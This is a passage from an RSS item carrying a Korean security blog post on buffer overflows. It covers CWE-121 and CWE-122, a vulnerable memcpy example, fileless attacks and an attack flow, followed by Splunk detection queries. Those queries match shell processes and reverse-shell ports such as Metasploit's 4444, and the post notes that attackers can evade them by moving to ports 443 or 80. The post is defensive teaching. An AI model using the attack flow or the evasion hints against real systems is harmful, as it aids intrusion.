│  0xDEADBEEF         │  &amp;larr; 정상 주소가 공격자 코드 주소로 덮어씌워짐
└─────────────────────┘
           &amp;darr;
프로그램이 다음 코드 실행을 위해 주소를 읽는 순간
공격자 코드로 점프&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;68:1-68:13;1381-1393&quot; data-ke-size=&quot;size26&quot;&gt;3. CWE 분류&lt;/h2&gt;
&lt;p data-sourcepos=&quot;70:1-70:37;1395-1431&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우는 발생하는 메모리 영역에 따라 두 가지로 나뉜다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;72:1-75:64;1433-1605&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 분류 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; CWE 번호 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 발생 위치 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 특징 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스택 오버플로우&lt;/td&gt;
&lt;td&gt;CWE-121&lt;/td&gt;
&lt;td&gt;스택 메모리&lt;/td&gt;
&lt;td&gt;함수 호출 시 생성되는 임시 메모리 영역에서 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;힙 오버플로우&lt;/td&gt;
&lt;td&gt;CWE-122&lt;/td&gt;
&lt;td&gt;힙 메모리&lt;/td&gt;
&lt;td&gt;프로그램 실행 중 동적으로 할당되는 메모리 영역에서 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;77:1-79:53;1607-1731&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;77:3-77:22;1609-1628&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스택 vs 힙 쉽게 구분하기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스택: 함수가 실행되는 동안만 쓰이는 임시 메모리. 함수가 끝나면 자동으로 사라짐&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;78:3-79:53;1631-1731&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;79:3-79:53;1681-1731&quot;&gt;힙: 프로그램이 필요할 때 직접 할당하고 해제하는 메모리. 더 유연하지만 관리가 복잡함&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;83:1-83:17;1738-1754&quot; data-ke-size=&quot;size26&quot;&gt;4. 취약점의 근본 원인&lt;/h2&gt;
&lt;p data-sourcepos=&quot;85:1-85:46;1756-1801&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우의 근본 원인은 &lt;b&gt;입력 데이터의 크기를 검증하지 않는 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;87:1-98:4;1803-2037&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;c&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;// 취약한 코드 (크기 검증 없음)
memcpy(buffer, input_data, input_size);
// input_size가 buffer 크기를 초과해도 그냥 복사

// 안전한 코드 (크기 검증 있음)
if (input_size &amp;lt;= buffer_size) {
    memcpy(buffer, input_data, input_size);
} else {
    // 오류 처리하고 버림
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;100:1-100:47;2039-2085&quot; data-ke-size=&quot;size16&quot;&gt;단 한 줄의 크기 검증이 없어서 시스템 전체가 장악될 수 있는 취약점이 만들어진다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;104:1-104:32;2092-2123&quot; data-ke-size=&quot;size26&quot;&gt;5. 왜 백신으로 탐지가 어려운가 (파일리스 공격)&lt;/h2&gt;
&lt;p data-sourcepos=&quot;106:1-106:66;2125-2190&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우 기반 공격이 특히 위험한 이유 중 하나는 &lt;b&gt;파일리스(Fileless) 공격&lt;/b&gt;이 가능하다는 점이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;108:1-118:4;2192-2349&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;css&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;일반 악성코드 공격:
공격자 코드가 .exe 파일로 디스크에 저장됨
&amp;rarr; 백신이 파일 스캔 &amp;rarr; 탐지 가능

버퍼 오버플로우 공격:
공격자 코드가 네트워크 패킷 안에 담겨
메모리에 직접 올라가서 실행됨
&amp;rarr; 디스크에 파일이 전혀 안 남음
&amp;rarr; 파일 기반 백신으로는 탐지 불가&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;120:1-120:92;2351-2442&quot; data-ke-size=&quot;size16&quot;&gt;따라서 버퍼 오버플로우 기반 공격을 방어하려면 파일 기반 백신 외에도 &lt;b&gt;EDR(메모리 스캔), 네트워크 이상 탐지, SIEM 기반 행위 탐지&lt;/b&gt;를 병행해야 한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;124:1-124:18;2449-2466&quot; data-ke-size=&quot;size26&quot;&gt;6. 실제 공격 흐름 예시&lt;/h2&gt;
&lt;p data-sourcepos=&quot;126:1-126:35;2468-2502&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우를 이용한 공격은 보통 아래 흐름으로 진행된다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;128:1-142:4;2504-2751&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1. 공격자가 취약한 프로그램에 과도하게 큰 입력값 전송
   (네트워크 패킷, 파일, 사용자 입력 등)

2. 프로그램이 크기 검증 없이 버퍼에 저장 시도
   &amp;rarr; 버퍼 오버플로우 발생

3. 인접 메모리(Return Address)가 공격자 코드 주소로 덮어씌워짐

4. 프로그램이 다음 실행 주소를 읽는 순간
   &amp;rarr; 공격자 코드(셸코드)로 점프

5. 공격자 코드 실행
   &amp;rarr; 백도어 설치, 권한 상승, 내부망 이동 등&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;146:1-146:22;2758-2779&quot; data-ke-size=&quot;size26&quot;&gt;7. SOC 실무에서의 탐지 접근&lt;/h2&gt;
&lt;p data-sourcepos=&quot;148:1-148:83;2781-2863&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우 공격은 메모리에서 발생하기 때문에 직접 탐지가 어렵다. 대신 &lt;b&gt;공격 전후 행위 패턴&lt;/b&gt;을 SIEM에서 탐지하는 방식이 현실적이다.&lt;/p&gt;
&lt;h3 data-sourcepos=&quot;150:1-150:27;2865-2891&quot; data-ke-size=&quot;size23&quot;&gt;탐지 포인트 1: 비정상적으로 큰 입력값&lt;/h3&gt;
&lt;div data-sourcepos=&quot;152:1-159:4;2893-3113&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;coq&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=network_logs
| eval input_size_kb=round(bytes/1024, 2)
| where input_size_kb &amp;gt; 100
| stats count as large_input_count by src_ip, dest_ip, dest_port
| where large_input_count &amp;gt; 5
| sort -large_input_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;161:1-161:108;3115-3222&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;161:3-161:108;3117-3222&quot; data-ke-size=&quot;size16&quot;&gt;정상적인 요청에서는 수백 KB를 넘는 입력값이 반복적으로 발생하지 않는다. 짧은 시간 안에 비정상적으로 큰 데이터가 반복 전송되면 퍼징(Fuzzing) 또는 오버플로우 시도로 볼 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-sourcepos=&quot;163:1-163:34;3224-3257&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-sourcepos=&quot;163:1-163:34;3224-3257&quot; data-ke-size=&quot;size23&quot;&gt;탐지 포인트 2: 오버플로우 이후 의심 프로세스 생성&lt;/h3&gt;
&lt;p data-sourcepos=&quot;165:1-165:63;3259-3321&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우 성공 후 공격자는 보통 cmd, powershell 같은 프로세스를 실행해 추가 명령을 내린다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;167:1-175:4;3323-3639&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;coq&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=wineventlog OR index=sysmon
| where EventCode IN (4688, 1)
| eval suspicious=if(match(process_name, &quot;(cmd\.exe|powershell|wscript|mshta)&quot;), 1, 0)
| where suspicious=1
| stats count as suspicious_count by src_ip, process_name, parent_process_name
| where suspicious_count &amp;gt; 3
| sort -suspicious_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;177:1-177:83;3641-3723&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;177:3-177:83;3643-3723&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 인덱스명 안내: wineventlog, sysmon 은 예시로 작성한 것이다. 실제 환경의 인덱스명으로 변경 후 사용할 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-sourcepos=&quot;179:1-179:29;3725-3753&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-sourcepos=&quot;179:1-179:29;3725-3753&quot; data-ke-size=&quot;size23&quot;&gt;탐지 포인트 3: 비정상적인 아웃바운드 연결&lt;/h3&gt;
&lt;p data-sourcepos=&quot;181:1-181:63;3755-3817&quot; data-ke-size=&quot;size16&quot;&gt;오버플로우 성공 후 백도어가 설치되면 C2(Command &amp;amp; Control) 서버로 아웃바운드 연결을 시도한다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;183:1-190:4;3819-4049&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;elm&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=firewall_logs
| where direction=&quot;outbound&quot;
| where dest_port IN (4444, 8080, 9001, 1080, 31337)
| stats count as connection_count by src_ip, dest_ip, dest_port
| where connection_count &amp;gt; 3
| sort -connection_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;192:1-192:20;4051-4070&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 저 포트들을 특정했는가:&lt;/b&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;194:1-194:34;4072-4105&quot; data-ke-size=&quot;size16&quot;&gt;공격자 도구들이 기본값으로 자주 사용하는 포트이기 때문이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;196:1-202:57;4107-4405&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 포트 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 주로 쓰이는 도구 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 이유 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4444&lt;/td&gt;
&lt;td&gt;Metasploit 리버스쉘&lt;/td&gt;
&lt;td&gt;해킹 프레임워크 Metasploit의 기본 리스닝 포트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8080&lt;/td&gt;
&lt;td&gt;웹 프록시, 백도어&lt;/td&gt;
&lt;td&gt;정상 HTTP(80)와 비슷해서 탐지 우회 목적으로 자주 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9001&lt;/td&gt;
&lt;td&gt;Tor, Chisel 터널링&lt;/td&gt;
&lt;td&gt;익명 통신 도구 기본 포트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1080&lt;/td&gt;
&lt;td&gt;SOCKS 프록시&lt;/td&gt;
&lt;td&gt;터널링 및 내부망 피버팅에 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;31337&lt;/td&gt;
&lt;td&gt;고전 백도어&lt;/td&gt;
&lt;td&gt;해커 은어 &quot;elite&quot;를 의미하는 leet speak에서 유래&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;204:1-204:14;4407-4420&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 방식의 한계:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;205:1-206:42;4421-4514&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;205:1-205:52;4421-4472&quot;&gt;공격자가 포트를 443(HTTPS), 80(HTTP) 같은 정상 포트로 바꾸면 탐지 불가&lt;/li&gt;
&lt;li data-sourcepos=&quot;206:1-206:42;4473-4514&quot;&gt;8080은 개발 서버, 테스트 환경에서도 자주 사용되어 오탐 발생 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-sourcepos=&quot;208:1-208:23;4516-4538&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;더 정확한 탐지 방법 (개선형):&lt;/b&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;210:1-210:87;4540-4626&quot; data-ke-size=&quot;size16&quot;&gt;특정 포트를 지정하는 것보다 &lt;b&gt;&quot;허가된 포트 외 모든 아웃바운드&quot;&lt;/b&gt; 를 탐지하는 방식이 더 효과적이다. 공격자가 포트를 바꿔도 잡을 수 있기 때문이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;212:1-219:4;4628-4858&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;elm&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=firewall_logs
| where direction=&quot;outbound&quot;
| where NOT dest_port IN (80, 443, 53, 25, 465, 587)
| stats count as connection_count by src_ip, dest_ip, dest_port
| where connection_count &amp;gt; 3
| sort -connection_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;221:1-221:97;4860-4956&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;221:3-221:97;4862-4956&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 개선형 쿼리는 허용 포트 외 모든 아웃바운드를 탐지하므로 오탐이 많아질 수 있다. 자사 방화벽 정책 기준으로 허용 포트 목록을 정교하게 관리하는 것이 전제조건이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;194:1-194:16;4056-4071&quot; data-ke-size=&quot;size26&quot;&gt;8. 오탐지 줄이는 팁&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;196:1-198:71;4073-4302&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;196:1-196:87;4073-4159&quot;&gt;&lt;b&gt;큰 입력값 탐지&lt;/b&gt;: 파일 업로드 기능이 있는 서비스는 정상적으로 큰 데이터를 전송할 수 있음 &amp;rarr; 업로드 엔드포인트는 제외하거나 임계값을 높게 설정&lt;/li&gt;
&lt;li data-sourcepos=&quot;197:1-197:72;4160-4231&quot;&gt;&lt;b&gt;의심 프로세스 탐지&lt;/b&gt;: 개발자 환경에서는 powershell, cmd가 빈번하게 실행됨 &amp;rarr; 개발 서버 IP는 별도 처리&lt;/li&gt;
&lt;li data-sourcepos=&quot;198:1-198:71;4232-4302&quot;&gt;&lt;b&gt;아웃바운드 포트&lt;/b&gt;: 환경마다 허용된 포트가 다를 수 있음 &amp;rarr; 자사 방화벽 정책 기준으로 비허용 포트 목록을 직접 정의&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;202:1-202:12;4309-4320&quot; data-ke-size=&quot;size26&quot;&gt;9. 대응 방법&lt;/h2&gt;
&lt;div data-sourcepos=&quot;204:1-211:48;4322-4635&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 방법 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 설명 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;패치 적용&lt;/td&gt;
&lt;td&gt;취약점이 발견된 소프트웨어의 보안 업데이트 즉시 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;입력값 검증&lt;/td&gt;
&lt;td&gt;개발 단계에서 모든 입력 데이터 크기 검증 로직 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASLR&lt;/td&gt;
&lt;td&gt;메모리 주소를 랜덤하게 배치해 공격자가 Return Address를 예측하기 어렵게 만듦&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DEP/NX&lt;/td&gt;
&lt;td&gt;데이터 영역에서 코드 실행을 차단하는 하드웨어/OS 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스택 카나리&lt;/td&gt;
&lt;td&gt;버퍼와 Return Address 사이에 감시값을 넣어 오버플로우 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR 도입&lt;/td&gt;
&lt;td&gt;메모리 레벨에서 비정상 행위를 탐지하는 엔드포인트 보안 솔루션&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;215:1-215:11;4642-4652&quot; data-ke-size=&quot;size26&quot;&gt;10. 마무리&lt;/h2&gt;
&lt;p data-sourcepos=&quot;217:1-217:150;4654-4803&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우는 1988년 모리스 웜(Morris Worm)에서 최초로 공개적 악용이 확인된 이후 수십 년이 지난 지금도 치명적인 취약점으로 꾸준히 등장하고 있다. 근본 원인은 단순하지만(크기 검증 누락), 파일리스 공격이 가능하다는 특성 때문에 탐지와 대응이 쉽지 않다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;219:1-219:79;4805-4883&quot; data-ke-size=&quot;size16&quot;&gt;SOC 실무에서는 메모리 레벨의 직접 탐지보다 &lt;b&gt;공격 전후의 네트워크/프로세스 행위 패턴&lt;/b&gt;을 SIEM으로 모니터링하는 접근이 현실적이다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;221:1-221:46;4885-4930&quot; data-ke-size=&quot;size16&quot;&gt;더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-sourcepos=&quot;225:1-225:24;4937-4960&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 블로그의 관련 CVE 분석 글:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;226:1-226:106;4961-5066&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;226:1-226:106;4961-5066&quot;&gt;버퍼 오버플로우(CWE-122)가 실제 적용된 사례가 궁금하다면 &amp;rarr; &lt;a href=&quot;https://y0-0ns.tistory.com/21&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CVE-2026-41096: Windows DNS 클라이언트 RCE 취약점 분석&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-sourcepos=&quot;230:1-230:11;5073-5083&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;231:1-233:93;5084-5369&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;231:1-231:97;5084-5180&quot;&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/121.html&quot;&gt;MITRE CWE-121 (Stack-based Buffer Overflow)&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;232:1-232:96;5181-5276&quot;&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/122.html&quot;&gt;MITRE CWE-122 (Heap-based Buffer Overflow)&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;233:1-233:93;5277-5369&quot;&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Buffer_Overflow&quot;&gt;OWASP - Buffer Overflow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>취약점 분석/CWE</category>
      <category>bufferoverflow</category>
      <category>cwe</category>
      <category>SoC</category>
      <category>Splunk</category>
      <category>메모리취약점</category>
      <category>버퍼오버플로우</category>
      <category>보안취약점</category>
      <category>스택오버플로우</category>
      <category>파일리스공격</category>
      <category>힙오버플로우</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/22</guid>
      <comments>https://y0-0ns.tistory.com/22#entry22comment</comments>
      <pubDate>Tue, 7 Jul 2026 18:06:28 +0900</pubDate>
    </item>
  </channel>
</rss>